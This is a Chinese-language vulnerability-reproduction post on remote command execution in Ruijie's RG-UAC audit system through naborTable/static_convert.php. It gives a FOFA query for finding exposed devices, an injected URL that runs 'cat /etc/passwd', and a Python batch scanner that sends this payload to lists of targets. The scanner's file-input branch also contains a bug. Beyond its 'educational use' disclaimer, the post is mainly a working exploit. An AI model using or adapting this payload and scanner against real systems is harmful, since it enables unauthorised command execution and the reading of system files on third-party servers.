【漏洞复现】锐捷统一上网行为管理与审计系统——naborTable/static_convert.php——命令执行

声明：本文档或演示材料仅供教育和教学目的使用，任何个人或组织使用本文档中的信息进行非法活动，均与本文档的作者或发布者无关。

---

漏洞描述

锐捷统一上网行为管理与审计系统naborTable/static_convert.php接口存在远程命令执行漏洞，导致恶意攻击者可以执行命令获取对服务器的远程访问权限或者破坏系统，对服务器造成极大的安全隐患。

漏洞复现

1）fofa搜索：
title="RG-UAC登录页面"

随机选择幸运观众~

构造url：
xxx.xxx.xxx/view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd

测试工具

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入所需的模块
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

# 定义红色和重置颜色的ANSI转义序列，用于终端输出高亮显示
RED = '\033[91m'
RESET = '\033[0m'

# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义一个函数用于检查URL是否存在特定漏洞
def check_vulnerability(url):
    try:
        # 构造攻击URL，尝试利用naborTable命令执行漏洞
        attack_url = url.rstrip('/') + "/view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd"

        # 发送GET请求，不验证SSL证书，设置超时为10秒
        response = requests.get(attack_url, verify=False, timeout=10)

        # 检查响应状态码和响应内容，判断是否存在漏洞
        if response.status_code == 200 and 'root' in response.text:
            print(f"{RED}URL [{url}] 可能存在锐捷统一上网行为管理与审计系统naborTable命令执行漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.RequestException as e:
        # 打印请求过程中的异常信息
        print(f"URL [{url}] 请求失败: {e}")

# 定义主函数，解析命令行参数并执行检测
def main():
    # 创建解析器，添加描述和参数
    parser = argparse.ArgumentParser(description='检测目标地址是否存在锐捷统一上网行为管理与审计系统naborTable命令执行漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果提供了URL参数，则检查该URL
    if args.url:
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    # 如果提供了文件参数，则从文件中读取URL列表进行检查
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not args.url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

# 程序入口点
if __name__ == '__main__':
    main()

过程截图：